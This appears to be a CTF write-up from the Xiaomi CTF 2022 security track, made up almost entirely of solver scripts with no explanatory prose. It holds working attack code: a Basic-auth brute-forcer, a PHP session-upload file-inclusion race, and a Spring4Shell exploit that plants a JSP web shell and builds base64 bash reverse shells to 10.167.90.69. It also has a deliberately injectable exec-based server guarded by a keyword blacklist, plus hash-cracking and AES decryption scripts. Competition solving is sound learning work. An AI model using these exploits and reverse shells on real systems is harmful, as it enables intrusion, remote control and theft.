#小米CTF2022安全赛道writeup

import requests

url = "https://httpbasic-ctfd.dun.mi.com/"

payload = {}
headers = {
    'authority': 'httpbasic-ctfd.dun.mi.com',
    'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8',
    # 'authorization': 'Basic YWRtaW46OTg3NjU0',
    'cache-control': 'max-age=0',
    'cookie': 'xx', # TODO 赋值cookie
    'sec-ch-ua': '"Chromium";v="104", "/Not)A;Brand";v="24", "Google Chrome";v="104"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'
}

username = 'admin'
for passwd in range(300, 999):
    passwd_str = "{0:06d}".format(passwd * 1000 + 672)
    response = requests.request("GET", url, headers=headers, data=payload, auth=(username, passwd_str))

    print(passwd_str, response.status_code)
    print(response.text)
    if response.status_code != 401:
        break

import requests

url = "https://dior-ctfd.dun.mi.com/user?uid={}"

payload = {}
headers = {
    'authority': 'dior-ctfd.dun.mi.com',
    'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8',
    'cache-control': 'max-age=0',
    'cookie': 'xxx', # TODO cookie
    'sec-ch-ua': '"Chromium";v="104", "/Not)A;Brand";v="24", "Google Chrome";v="104"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'
}
for uid in range(1, 100):
    response = requests.request("GET", url.format(uid), headers=headers, data=payload)
    print(uid, response.text)

import requests
import time
import threading

host = 'https://include-ctfd.dun.mi.com/'
PHPSESSID = 'vrhtvjd4j1sd88onr92fm9t2gt'

headers = {
    'Cookie': 'TODO miduncookie; PHPSESSID=' + PHPSESSID}

# data = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('/bin/bash -i >& /dev/tcp/10.167.90.69/3000 0>&1');?>"}
data = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php echo `ls -al /home/mywww/flag_is_here`;?>"}


# data = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php echo `cat /home/mywww/flag_is_here`;?>"}

def creatSession():
    while True:
        files = {
            "upload": ("tmp.jpg", open("/etc/passwd", "rb"))
        }
        # data = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php echo md5('1');?>"}

        r = requests.post(host + "/info.php", files=files, headers=headers, data=data)
        # print(r.text)


fileName = "/var/lib/php/sessions/sess_" + PHPSESSID

if __name__ == '__main__':

    url = "{}index.php?page={}".format(host, fileName)
    t = threading.Thread(target=creatSession, args=())
    t.setDaemon(True)
    t.start()
    while True:
        res = requests.get(url, headers=headers)
        print("[/] " + res.text)
        if "c4ca4238a0b923820dcc509a6f75849b" in res.text:
            print("[*] Get shell success.")
            break
        else:
            print("[-] retry.")

import requests
import argparse
from urllib.parse import urljoin
import base64


def make_runtime_payload(cmd, host=None, port=None):
    if host and port:
        bash_payload = base64.b64encode(f"bash -i >& /dev/tcp/{host}/{port} 0>&1".encode())
        # https://ares-x.com/tools/runtime-exec/
        payload = "bash -c {echo," + bash_payload.decode("utf-8") + "}|{base64,-d}|{bash,-i}"
        payload = f'"{payload}"'
        return payload
    else:
        payload = f'"{cmd}"'
        return payload


def url_encode(text):
    return text.replace('/', '%2F').replace(' ', '%20').replace('=', '%3D').replace('&', '%26').replace('"',
                                                                                                        "%22").replace(
        "'", "%27").replace('>', "%3E").replace('<', "%3C").replace('#', "%23").replace('?', "%3F").replace('+', "%2B")


def exploit(url, command, shell_name, password='1337'):
    print(f"418 - Trying to exploit {url}")
    headers = {"suffix": "%>//",
               "c1": "Runtime",
               "c2": "<%",
               "DNT": "1",
               "Content-Type": "application/x-www-form-urlencoded",
               "Cookie": "miduncookie" # TODO cookie
               }
    # https://github.com/craig/SpringCore0day original exploit
    data = f"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22{url_encode(password)}%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20%25%7Bc1%7Di.getRuntime().exec({url_encode(command)}).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix={shell_name}&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    go = requests.post(url, headers=headers, data=data, timeout=15, allow_redirects=False, verify=False)
    shellurl = urljoin(url, f'{shell_name}.jsp')
    shellgo = requests.get(shellurl, timeout=40, allow_redirects=False, verify=False)
    if shellgo.status_code == 200:
        print(f"{shellgo.status_code} - Successfuly exploited, access in: {shellurl}?pwd={url_encode(password)}")
    else:
        print(f"{shellgo.status_code} - {shellurl} is'n work :(")


def main():
    # parser = argparse.ArgumentParser(description='')
    # parser.add_argument('-f', '--file',help='File with a list of URLs (reverse-shell dont works here)', required=False)
    # parser.add_argument('-u', '--url',help='Just one target URL', required=False)
    # parser.add_argument('-c', '--command',help='Command to execute', required=False)
    # parser.add_argument('--host', help='Host to connect if you want a reverse shell', required=False)
    # parser.add_argument('--port', help='Port to connect if you want a reverse shell', required=False)
    # parser.add_argument('--shell_name', help='Name of the shell', required=False, default="b1g0uS")
    # parser.add_argument('--password', help='Password for shell', required=False, default='1337')
    # args = parser.parse_args()

    file_arg = "sumy123123123123123123123"
    dir_arg = "webapps/ROOT"
    url_arg = "https://spring-ctfd.dun.mi.com/"
    command_arg = None
    shell_name_arg = "sumy_123"
    password_arg = "1423"
    host_arg = '10.167.90.69'
    port_arg = '3000'

    if url_arg:
        if command_arg:
            exploit(url_arg, make_runtime_payload(command_arg), shell_name_arg, password=password_arg)
        elif host_arg and port_arg:
            exploit(url_arg, make_runtime_payload(None, host_arg, port_arg), shell_name_arg, password=password_arg)


if __name__ == '__main__':
    print("SPRING CORE RCE. :)")
    main()

# -*- coding: utf-8 -*-
import socket
import threading
from datetime import datetime
import os
import mimetypes
import urllib.parse
import sys
import subprocess
import re

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "../"

CODES = {"200": "OK",
         "304": "NOT MODIFIED",
         "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
         "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css": "text/css", "html": "text/html", "png": "image/png", "jpg": "image/jpg",
         "ttf": "application/octet-stream", "otf": "application/octet-stream", "woff": "font/woff",
         "woff2": "font/woff2",
         "js": "application/javascript", "gz": "application/zip", "py": "text/plain", "map": "application/octet-stream"}

class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")

    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):
        req = request.strip("\r").split("\n")
        method, doc, vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos + 2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}

class Server:
    def __init__(self, host, port):
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target=self.listenToClient, args=(client, address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False

    def handleRequest(self, request, conn, address):
        if request.good:
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum = document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum = "400"
        body = document["body"]

        statusCode = CODES[statusNum]
        dateSent = ""
        server = "SimpleHTTP/0.6 Python/3.8.2"
        modified = ""
        length = len(body)
        contentType = document["mime"]
        connectionType = "Closed"

        resp = Response(
            statusNum=statusNum, statusCode=statusCode,
            dateSent=dateSent, server=server,
            modified=modified, length=length,
            contentType=contentType, connectionType=connectionType,
            body=body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.sendall(bytes("HTTP/1.1 200 OK\r\nServer: SimpleHTTP/0.6 Python/3.8\r\nConnection: Closed\r\n\r\n","utf-8"))
        conn.sendall(body)
        return 0

    def waf(self,input):
        blacklist = r"import|\[|\]|builtins｜\|"
        if re.search(blacklist,input,re.I|re.M):
            print("Oh you are hacker! I can't allow your input.")
            input = re.sub(blacklist,'',input)
        return input

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'"
            #print(self.waf(info.format(path)))
            exec (self.waf(info.format(path)))
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "../index.html"
            requested = os.path.join(docRoot, path[1:])
            print(requested+str(os.path.isfile(requested)))
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "rb") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                print(errorPage)
                mime = "text/html"
                with open(errorPage, "rb") as f:
                    data = f.read()
                status = "404"
        except Exception as e:
            #print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "rb") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

if __name__ == '__main__':
    Server("0.0.0.0",7777).listen()

import hashlib
import datetime

target = 'a1c6eaee90a012a1bb054bddcd081d6a'

additional_chars = '~!@#$%^&*()[{]}-_=+|;:\'",<.>/?`'
uppercase_letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
lowercase_letters = 'abcdefghijklmnopqrstuvwxyz'

first_date = datetime.date(2000, 1, 1)

cnt = 0


def dfs(is_first: bool, is_end: bool, has_birth: bool, pass_str: str):
    # 已经拼接好，计算md5比对
    if is_end:
        global cnt
        cnt = cnt + 1
        hl = hashlib.md5()
        hl.update(pass_str.encode(encoding='utf-8'))
        # print(pass_str + " " + hl.hexdigest())
        if hl.hexdigest() == target:
            print("found " + pass_str)
        if cnt % 1000000 == 0:
            print(cnt)
        return

    # 14位，补充特殊符号
    if len(pass_str) == 14:
        for ch in additional_chars:
            dfs(is_first, True, has_birth, pass_str + ch)
        return

    # 拼接第一位
    if is_first:
        for ch in uppercase_letters:
            dfs(False, is_end, has_birth, ch)
        return

    # 拼接普通字母
    if len(pass_str) < 6:
        for ch in lowercase_letters:
            dfs(is_first, is_end, has_birth, pass_str + ch)

    # 拼接生日字符串
    elif not has_birth:
        for d in range(0, 365 * 5):
            date_str = (first_date + datetime.timedelta(d)).strftime("%Y%m%d")
            dfs(is_first, is_end, True, pass_str + date_str)

    return


dfs(False, False, False, 'Xiaomi')

from Crypto.Cipher import AES

seed = 0x6b
maskData = [0x75, 0x5d, 0xf2, 0x5c, 0xd2, 0x38, 0x29, 0x89, 0x81,
            0x6f, 0xa7, 0x4d, 0xca, 0x51, 0x86, 0x70, 0x33, 0x97,
            0xa0, 0x4f, 0xff, 0xba, 0xce, 0x8f, 0x4d, 0x6f, 0xc4,
            0x34, 0xb0, 0x12, 0xdf, 0xe1]
key = [ord(e) for e in "JustThisKeyHere!"]
data = [ord(e) for e in "1111111111111111"]
data[0] = seed ^ key[0]
data[1] = seed ^ key[0] ^ key[1]
data[2] = data[1] ^ key[2]
data[3] = data[1] ^ key[2] ^ key[3]
data[4] = data[3] ^ key[4]
data[5] = data[3] ^ key[4] ^ key[5]
data[6] = data[5] ^ key[6]
data[7] = data[5] ^ key[6] ^ key[7]
data[8] = data[7] ^ key[8]
data[9] = data[7] ^ key[8] ^ key[9]
data[10] = data[9] ^ key[10]
data[11] = data[9] ^ key[10] ^ key[11]
data[12] = data[11] ^ key[12]
data[13] = data[11] ^ key[12] ^ key[13]
data[14] = data[13] ^ key[14]
data[15] = data[13] ^ key[14] ^ key[15]
print(data)

cryptor = AES.new(b''.join(map(lambda x: int.to_bytes(x, 1, 'little'), data)), AES.MODE_ECB)
origin_data = cryptor.decrypt(b''.join(map(lambda x: int.to_bytes(x, 1, 'big'), maskData)))
print(origin_data)